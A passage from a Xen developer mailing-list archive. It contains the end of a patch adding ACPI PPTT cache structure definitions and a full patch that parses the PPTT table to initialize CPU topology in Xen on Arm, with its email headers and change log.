+#define ACPI_PPTT_ACPI_IDENTICAL            (1<<4)	/* ACPI 6.3 */
+
+/* 1: Cache Type Structure */
+
+struct acpi_pptt_cache {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 flags;
+	u32 next_level_of_cache;
+	u32 size;
+	u32 number_of_sets;
+	u8 associativity;
+	u8 attributes;
+	u16 line_size;
+};
+
+/* 1: Cache Type Structure for PPTT version 3 */
+
+struct acpi_pptt_cache_v1 {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 flags;
+	u32 next_level_of_cache;
+	u32 size;
+	u32 number_of_sets;
+	u8 associativity;
+	u8 attributes;
+	u16 line_size;
+	u32 cache_id;
+};
+
+/* Flags */
+
+#define ACPI_PPTT_SIZE_PROPERTY_VALID       (1)	/* Physical property valid */
+#define ACPI_PPTT_NUMBER_OF_SETS_VALID      (1<<1)	/* Number of sets valid */
+#define ACPI_PPTT_ASSOCIATIVITY_VALID       (1<<2)	/* Associativity valid */
+#define ACPI_PPTT_ALLOCATION_TYPE_VALID     (1<<3)	/* Allocation type valid */
+#define ACPI_PPTT_CACHE_TYPE_VALID          (1<<4)	/* Cache type valid */
+#define ACPI_PPTT_WRITE_POLICY_VALID        (1<<5)	/* Write policy valid */
+#define ACPI_PPTT_LINE_SIZE_VALID           (1<<6)	/* Line size valid */
+#define ACPI_PPTT_CACHE_ID_VALID            (1<<7)	/* Cache ID valid */
+
+/* Masks for Attributes */
+
+#define ACPI_PPTT_MASK_ALLOCATION_TYPE      (0x03)	/* Allocation type */
+#define ACPI_PPTT_MASK_CACHE_TYPE           (0x0C)	/* Cache type */
+#define ACPI_PPTT_MASK_WRITE_POLICY         (0x10)	/* Write policy */
+
+/* Attributes describing cache */
+#define ACPI_PPTT_CACHE_READ_ALLOCATE       (0x0)	/* Cache line is allocated on read */
+#define ACPI_PPTT_CACHE_WRITE_ALLOCATE      (0x01)	/* Cache line is allocated on write */
+#define ACPI_PPTT_CACHE_RW_ALLOCATE         (0x02)	/* Cache line is allocated on read and write */
+#define ACPI_PPTT_CACHE_RW_ALLOCATE_ALT     (0x03)	/* Alternate representation of above */
+
+#define ACPI_PPTT_CACHE_TYPE_DATA           (0x0)	/* Data cache */
+#define ACPI_PPTT_CACHE_TYPE_INSTR          (1<<2)	/* Instruction cache */
+#define ACPI_PPTT_CACHE_TYPE_UNIFIED        (2<<2)	/* Unified I & D cache */
+#define ACPI_PPTT_CACHE_TYPE_UNIFIED_ALT    (3<<2)	/* Alternate representation of above */
+
+#define ACPI_PPTT_CACHE_POLICY_WB           (0x0)	/* Cache is write back */
+#define ACPI_PPTT_CACHE_POLICY_WT           (1<<4)	/* Cache is write through */
+
+/* 2: ID Structure */
+
+struct acpi_pptt_id {
+	struct acpi_subtable_header header;
+	u16 reserved;
+	u32 vendor_id;
+	u64 level1_id;
+	u64 level2_id;
+	u16 major_rev;
+	u16 minor_rev;
+	u16 spin_rev;
+};
+
 /*******************************************************************************
  *
  * SLIC - Software Licensing Description Table
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:46:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:46:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362154.1614079 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaeU-0007Ot-OG; Tue, 14 Jul 2026 10:46:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362154.1614079; Tue, 14 Jul 2026 10:46:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjaeU-0007O0-IB; Tue, 14 Jul 2026 10:46:14 +0000
Received: by outflank-mailman (input) for mailman id 1362154;
 Tue, 14 Jul 2026 10:46:13 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wjaeT-000799-76
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:46:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjaeS-009uid-Jq
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:46:12 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561370-2eae-0a2a0a5409dd-0a2a4501e9c4-14
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:46:12 +0200
Received: from [52.101.125.121]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a561370-5984-0a2a45010019-34657d792ce5-4
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:46:12 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY6P286MB7347.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:361::10)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.202.20; Tue, 14 Jul
 2026 10:46:09 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0202.014; Tue, 14 Jul 2026
 10:46:09 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=Lm8jXPF7LAsNnD1MC0CUDvBQygWlqHVVY4+YADMwg0SdJhEuIDzCGol5Yc4zrheJAG1o865hcOLsIkZAtX/DPZNIr664dLvmMGXkIN7MCK4RSvJDzbPo6P5OPAxO6O3zQ/C87p+CpdEHPdwvUXYdFuoKVOWNcGS9DKkIBOy0ldhCvhq4kfre0HShhxSnUbX22Z/za2zeipS6Y0ID2q6scRTCuJNFVHLShQxy6vQmZ1TZIngOzHLCdIOSDTeGIvHfJZXtCuJLGeHM0qBEnjiPDoetvaNZCMHqXBXNmJXVP5pfg/kWkWOIBKJJ66lqwNepPi0cknNRvjWDzcKRrbJvVA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=1FGPjsAtuJGsBWUU2sdzagAfn9WNOxXnDMlbchoHAy8=;
 b=yU/DESxeSRzQV8dDsMCRNh2gSDtedGdLD4O0+saHmq3PWLJ9jAL1Hhw//1IJ2U87WLGIY+a3HY5u4hXw7TkW3iKFEMBtL4FH/8qEscxaWrXDAMTBFCsYHvFv7H+angBKuFJO6PyaE1RPh2r0JtyD95ceB71QNfTULCAqvGvmZjKZZAOlD9Xivvn3wdoTLA85ZgND9IzylRmzJsSjiVWs17OZTJhj1S6/y4IYLoyMioaL+wgqb1OX2NvjNPxq/o9EgwiUvH6GqKG4q87DYKJpFTUxxpysxdhQU4HZFma0pf1TsAOzPhfti0xydYN/T9frbr2hgsJY3VAW0to/npqNAQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=1FGPjsAtuJGsBWUU2sdzagAfn9WNOxXnDMlbchoHAy8=;
 b=B0cp9drrh5r7EqhfB5baTLD2aI8VpZC24U7OQB5aL+6EEwOi+STrRrVH/G3kOga1rnnqAb25czpZxfxnV5ApqYZhgRJFau9YFfCKhoT0HEIT+SSGNNXA+Ryj25LdvxgkrN6CZujVnxh9PTcykL9sJCjDUdOhRPJYG435VYdUzlE=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v6 5/5] xen/acpi: Parse PPTT to initialize CPU topology
Date: Tue, 14 Jul 2026 19:44:45 +0900
Message-ID: <20260714104445.919830-6-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260714104445.919830-1-taka@valinux.co.jp>
References: <20260714104445.919830-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP286CA0325.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:400:3b7::8) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY6P286MB7347:EE_
X-MS-Office365-Filtering-Correlation-Id: dd2cba72-2b26-448a-7a9c-08dee1951d4b
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|376014|7416014|10070799003|18002099003|22082099003|56012099006|6133799003;
X-Microsoft-Antispam-Message-Info:
	W+hwTxp/Yp0hthsQoc8C/9Zr2SMMf2m6eync4c78YXCSbcZ3mLDFi02glrIIr+kEv0uezFl4KdCl7ULdWeQ5WzJZPyB+Z65VqnqIx5av8iuFb5p/xR/9Cc8Q8LJ+4Tv7g5ctllD3+70UIcPk4s+u59B4WzRNfvyqJvnFRMtiWquP9mb8NMVY9qQ5TBQXYaQTxbupkviagtKWrV3bVz5qdm/WgRTxxnvVPUcH8CtjSqZWDzPF2M/qZLd/BWD0jTGzY734uPl/UgII+LRbVpFdtYyDfJLLVFoCSpR7Ekutf/dC3A0/Ge9nz11NNZ1J5woxz7zoVcGjyNh47yoAY4BI+r1Ty/5oAg/2zktU7q7fh8iJRw+Roa1KpHaeNuIfbPKpeFtrqVyKlSoVKC9Ho0Z7tXr9pVkujzvvWLoCgKS6dNyJVBHiUnvdozJ0wqTq+Tr6R2ArZxd78+5YqhkLvSA+lP7+WkktiC5TqczscbDegPawZ1yF48/AkLneP1NOi5v1OB99tei1zsRY2uORhHn0enWti/WtRZrzswwEMgLLhS450K4EFkRdAsyYQ9bEWAlwUzhwMpRlcTeAhb9cJLJI8TXq60hdK2Sjy6lSddHyw4W8JFAjlOHeL/m2aXsEIZaz6yddaW8+WZd0Dr06xF1kyaMTQTfI2EcaSuvpeU4roQc=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(376014)(7416014)(10070799003)(18002099003)(22082099003)(56012099006)(6133799003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?ycSqhgwFfRq316KzM8TGapYAfQRvrLfh4DjO+hwLKHDE0WQePIE79TTKEDIA?=
 =?us-ascii?Q?mhAuL+NS7AFWPSti62Y2lNAbFVpZTtksJfBmHd1hHhE5b1SlDcg0Z4AFQnsk?=
 =?us-ascii?Q?YoOvQ2aY0G4+aqj95q7Gv9kfF1ZaHmkMt8XshkVwzVp0OEZNHwvbqS47GwuZ?=
 =?us-ascii?Q?XYG2wU1R0d4IMS2Ixw1QLTDAmOe/ouEDhIWoqC6B+80DIB+QvIvPMVwxNtPX?=
 =?us-ascii?Q?xHGZ7RdZ+4ZzE+WXLAWtWRC8vbliU6YGMlbkWAyCXc/ggfhKQv1Ui35MZ4t2?=
 =?us-ascii?Q?h2nQzv321a1NbZllq9H8nLmFcl3MFDH9s2s8Vy85GX+YLxDuZKhGTnJ6KfYk?=
 =?us-ascii?Q?MPxhunoaOA+TRe5LZlUcRoXWOykNkbi35gZSNQWvJIbbDZRGdAC6T9UZV9Qu?=
 =?us-ascii?Q?gX9YcPixvDCDHwXwClRvb7FC76bXADeaQJkXrWMLJpk59X6JJE9hPKyVM4Sj?=
 =?us-ascii?Q?RhI8Us84hSvnoTMw49tRNKj5zU3WXCXOplUGlmHNP6e5katRQKMIJlSCpM/t?=
 =?us-ascii?Q?R2Iqgix+HfG9wj5ikG2XRS4VFYQaZZJPe+m2OTztGvBi+2cvwUUtURV2yit4?=
 =?us-ascii?Q?fJVnRjwK+SeKJwgIiI5rKp879UVHz1wzScCDhfBZZx1Ndkh9Hi3djvQrWQpx?=
 =?us-ascii?Q?A6W1lL6IhQ68USpo9Iy1oGcgpENTfA2+SwY4hpDpG5/kKlxCArtOP2uMiqHt?=
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S4K7fgtARcxY/0mm81juC5IQn8ANCmLxzpddT6qxcmc0hD42d4fAgZhZd?=
 =?us-ascii?Q?Gow3W/RvJXInFlrJjgMihCMQIdYy/ulhVBbHFFObotmEcDkxWAA7XsGm7aNM?=
 =?us-ascii?Q?EhP2UCrTFNfLluz6WDcCBSMYuJlg456QNUWqgwOVhA3STMAXqMqvNTnnmYMj?=
 =?us-ascii?Q?KubV6TjbVKjZgis9uccBkjnQWWs4yI1F2BzJ0ZC4uHbhEBcdu+k0N4ynycl1?=
X-MS-Exchange-AntiSpam-MessageData-1: DGYL1lvnjHyx4A==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: dd2cba72-2b26-448a-7a9c-08dee1951d4b
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 14 Jul 2026 10:46:09.1591
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: IgNiPIx/JQa9+OMAPM+xs+AfgzBASGI2OHixF2cnbSAzxK1dPL/I76y6QyCg7cIRog5sjAV1IkvDgUDxo772jA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY6P286MB7347
X-purgate-ID: tlsNG-d62444/1784025972-BD146757-B00D8951/0/0
X-purgate-type: clean
X-purgate-size: 12747

Parse the ACPI PPTT (Processor Properties Topology Table) to
initialize the CPU topology.

For ACPI 6.3 and later, the ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD flag
is checked to determine the presence of threading. For ACPI 6.2 and
earlier, CPUs are assumed not to support threading.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v6:
   * Handled cases where cluster info is missing upon reaching a physical
     package in the PPTT parser by assuming one cluster per socket.
   * Enforced an upper limit on the PPTT parsing loop iterations to prevent
     infinite loops on corrupted tables.
   * Treat the absence of a physical package node definition in PPTT as a
     parsing error.
   * Added explicit braces `{}` to nested `if` statements to clarify `else`
     scoping and maintain style symmetry.
   * Enforced an upper limit on the PPTT parsing loop iterations to prevent
     infinite loops on corrupted tables.
   * Treat the absence of a physical package node definition in PPTT as a
     parsing error.
   * Dynamically allocate the temporary data storage used during ACPI PPTT
     parsing.
   * Applied the `static` specifier to file-local data structures and functions.
   * Minimized the use of fixed-width `uint32_t` types, restricting its use only
     where strictly required by the 32-bit ACPI ID specification.
   * Declared `map_cpu_acpiid[]` as static and introduced the helper function
     `acpi_map_cpu_acpiid()` for managed access.
   * Renamed local variables to more intuitive names.
   * Simplified the implementation of `get_logical_id()`.
   * Refactored PPTT parsing to reduce type casting by using `container_of()`
     and switching from `char *` to `void *` pointers.
   * Removed redundant error checks.
   * Cleaned up unused variables and eliminated debug print statements.

 xen/arch/arm/acpi/boot.c        |   2 +
 xen/arch/arm/include/asm/acpi.h |   2 +
 xen/drivers/acpi/topology.c     | 251 ++++++++++++++++++++++++++++++--
 xen/include/xen/acpi.h          |   2 +
 4 files changed, 244 insertions(+), 13 deletions(-)

diff --git a/xen/arch/arm/acpi/boot.c b/xen/arch/arm/acpi/boot.c
index 4ac0fd8f51..fc7ecb5749 100644
--- a/xen/arch/arm/acpi/boot.c
+++ b/xen/arch/arm/acpi/boot.c
@@ -85,6 +85,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
             return;
         }
         bootcpu_valid = true;
+        acpi_map_cpu_acpiid(0, processor->uid);
         return;
     }
 
@@ -119,6 +120,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
 
     /* map the logical cpu id to cpu MPIDR */
     cpu_logical_map(enabled_cpus) = mpidr;
+    acpi_map_cpu_acpiid(enabled_cpus, processor->uid);
 
     enabled_cpus++;
 }
diff --git a/xen/arch/arm/include/asm/acpi.h b/xen/arch/arm/include/asm/acpi.h
index 13756dd341..b2e156e131 100644
--- a/xen/arch/arm/include/asm/acpi.h
+++ b/xen/arch/arm/include/asm/acpi.h
@@ -61,6 +61,8 @@ paddr_t acpi_get_table_offset(struct membank tbl_add[], EFI_MEM_RES index);
     (!(entry) || (unsigned long)(entry) + sizeof(*(entry)) > (end) ||	\
      (entry)->header.length != ACPI_MADT_GICC_LENGTH)
 
+#define INVALID_ACPIID		(-1U)
+
 #ifdef CONFIG_ACPI
 extern bool acpi_disabled;
 /* Basic configuration for ACPI */
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 56fcfa4945..e6dea527a6 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -5,32 +5,257 @@
 #include <xen/cpumask.h>
 #include <xen/init.h>
 
+#define ACPI_PPTT_MAX_LEVELS 16
+
+static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = INVALID_ACPIID
+};
+
+/*
+ * The first argument `cpu` is the logical CPU ID assigned by Xen,
+ * and the second argument `acpi_id` is passed the `uid` field from
+ * the ACPI MADT Generic Interrupt subtable.
+ */
+void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
+{
+    map_cpu_acpiid[cpu] = acpi_id;
+}
+
+static unsigned int __init get_logical_id(unsigned int key,
+                                          unsigned int *map,
+                                          unsigned int *count)
+{
+    unsigned int id;
+
+    for ( id = 0; id < *count; id++ )
+        if ( map[id] == key )
+            return id;
+
+    map[*count] = key;
+
+    return (*count)++;
+}
+
+static const struct acpi_pptt_processor *__init find_pptt_node(
+    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
+{
+    const struct acpi_subtable_header *entry;
+    unsigned long table_end;
+    const void *ptr;
+
+    BUG_ON(!pptt);
+
+    table_end = (unsigned long)pptt + pptt->header.length;
+
+    ptr = pptt + 1;
+
+    while ( (unsigned long)ptr + sizeof(struct acpi_subtable_header)
+            <= table_end )
+    {
+        entry = ptr;
+
+        if ( entry->length == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ACPI: PPTT has an invalid zero-length subtable.\n");
+            break;
+        }
+
+        if ( (unsigned long)ptr + entry->length > table_end )
+        {
+            printk(XENLOG_ERR
+                   "ACPI: PPTT subtable extends beyond table end.\n");
+            break;
+        }
+
+        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR &&
+             entry->length >= sizeof(struct acpi_pptt_processor) )
+        {
+            const struct acpi_pptt_processor *proc =
+                container_of(entry, const struct acpi_pptt_processor, header);
+
+            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID) &&
+                 proc->acpi_processor_id == acpi_id )
+                return proc;
+        }
+
+        ptr += entry->length;
+    }
+
+    return NULL;
+}
+
 /*
- * TODO: Populate the topology information by scanning the ACPI
- *       PPTT (Processor Properties Topology Table).
+ * Populate the topology information by scanning the ACPI PPTT
+ * (Processor Properties Topology Table).
  */
 int __init acpi_init_cpu_topology(void)
 {
+    acpi_status status;
+    struct acpi_table_header *table_header;
+    const struct acpi_table_pptt *pptt;
+    unsigned int num_sockets = 0;
+    unsigned int num_clusters = 0;
+    unsigned int num_cores = 0;
+    unsigned int *socket_map = xmalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *cluster_map = xmalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *core_map = xmalloc_array(unsigned int, nr_cpu_ids);
     unsigned int cpu;
+    int ret = 0;
+
+    if ( !socket_map || !cluster_map || !core_map )
+    {
+        printk(XENLOG_ERR
+               "ACPI: Failed to allocate memory for topology parsing.\n");
+        ret = -ENOMEM;
+        goto out;
+    }
+
+    status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
+    if ( ACPI_FAILURE(status) )
+    {
+        printk(XENLOG_WARNING
+               "ACPI: PPTT table not found. Topology fallback will be used.\n");
+        ret = -ENODEV;
+        goto out;
+    }
+
+    pptt = container_of(table_header, const struct acpi_table_pptt, header);
 
-    /*
-     * Generate temporary cpu topology information for now.
-     * It assumes that the cpu doesn't have SMT and all CPUs
-     * belong to the same socket.
-     */
     for_each_possible_cpu(cpu)
     {
+        uint32_t acpi_id = map_cpu_acpiid[cpu];
         struct cpu_topology *topo = &cpu_topology[cpu];
+        const struct acpi_pptt_processor *proc;
+        unsigned int level;
+        unsigned int core_group_key = 0;
+        unsigned int cluster_group_key = 0;
+        unsigned int socket_group_key = 0;
+        bool threading = false;
+
+        proc = find_pptt_node(pptt, acpi_id);
+        if ( !proc )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID 0x%u)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        /*
+         * Limit the maximum loop depth to prevent an infinite loop in case
+         * the PPTT is corrupted or contains cyclic references.
+         */
+        for ( level = 0; level < ACPI_PPTT_MAX_LEVELS; level++ )
+        {
+            const unsigned int offset = (const void *)proc - (const void *)pptt;
+
+            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE )
+            {
+                socket_group_key = offset;
+
+                /*
+                 * If cluster/core info is absent upon reaching the physical
+                 * package, assume one cluster per socket and one core per
+                 * cluster.
+                 */
+                if ( cluster_group_key == 0 )
+                    cluster_group_key = socket_group_key;
+
+                if ( core_group_key == 0 )
+                    core_group_key = cluster_group_key;
+
+                break;
+            }
+            else if ( level == 0 )
+            {
+                /*
+                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
+                 * revision 2 and later. Assume no threading support when
+                 * PPTT revision is 1.
+                 */
+                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
+                    threading = true;
+                else
+                    core_group_key = offset;
+            }
+            else if ( level == 1 )
+            {
+                if ( threading )
+                    core_group_key = offset;
+                else
+                    cluster_group_key = offset;
+            }
+            else if ( level == 2 && threading )
+            {
+                cluster_group_key = offset;
+            }
+
+            if ( !proc->parent )
+                break;
 
-        topo->phys_core_id = cpu;
-        topo->num_siblings = 1;
+            proc = (const struct acpi_pptt_processor *)
+                   ((const void *)pptt + proc->parent);
+        }
 
-        cpumask_set_cpu(cpu, topo->thread_sibling);
-        cpumask_copy(topo->core_sibling, &cpu_possible_map);
-        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+        if ( socket_group_key == 0 )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: Could not reach the physical package node for CPU %u (ACPI ID 0x%u)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        topo->phys_socket_id =
+            get_logical_id(socket_group_key, socket_map, &num_sockets);
+        topo->phys_cluster_id =
+            get_logical_id(cluster_group_key, cluster_map, &num_clusters);
+        topo->phys_core_id =
+            get_logical_id(core_group_key, core_map, &num_cores);
     }
 
-    return 0;
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+        unsigned int tcpu;
+
+        for_each_possible_cpu(tcpu)
+        {
+            struct cpu_topology *ttopo = &cpu_topology[tcpu];
+
+            if ( cpu > tcpu )
+                continue;
+
+            if ( topo->phys_core_id == ttopo->phys_core_id )
+            {
+                cpumask_set_cpu(tcpu, topo->thread_sibling);
+                cpumask_set_cpu(cpu, ttopo->thread_sibling);
+            }
+
+            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
+            {
+                cpumask_set_cpu(tcpu, topo->cluster_sibling);
+                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
+            }
+
+            if ( topo->phys_socket_id == ttopo->phys_socket_id )
+            {
+                cpumask_set_cpu(tcpu, topo->core_sibling);
+                cpumask_set_cpu(cpu, ttopo->core_sibling);
+            }
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+
+out:
+    xfree(socket_map);
+    xfree(cluster_map);
+    xfree(core_map);
+
+    return ret;
 }
 
 /*
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index cbb02e0f35..d2a1531893 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -137,10 +137,12 @@ static inline int acpi_boot_table_init(void)
 
 #ifdef CONFIG_ACPI_CPU_TOPOLOGY
 
+void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id);
 int acpi_init_cpu_topology(void);
 
 #else /* CONFIG_ACPI_CPU_TOPOLOGY */
 
+static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id) {}
 static inline int acpi_init_cpu_topology(void)
 {
     return -EOPNOTSUPP;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 14 10:48:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 14 Jul 2026 10:48:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1362178.1614086 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjah6-0008SS-5C; Tue, 14 Jul 2026 10:48:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1362178.1614086; Tue, 14 Jul 2026 10:48:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wjah6-0008SL-2W; Tue, 14 Jul 2026 10:48:56 +0000
Received: by outflank-mailman (input) for mailman id 1362178;
 Tue, 14 Jul 2026 10:48:54 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wjah4-0008S5-82
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 10:48:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wjah3-009v8N-Jh
 for xen-devel@lists.xenproject.org; Tue, 14 Jul 2026 12:48:53 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5613fe-bab6-0a2a0a5309dd-0a2a450ab09e-32
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:48:53 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a561415-f2d2-0a2a450a0019-d155dd36c86e-3
 for <xen-devel@lists.xenproject.org>; Tue, 14 Jul 2026 12:48:53 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-475417f010dso1923947f8f.2
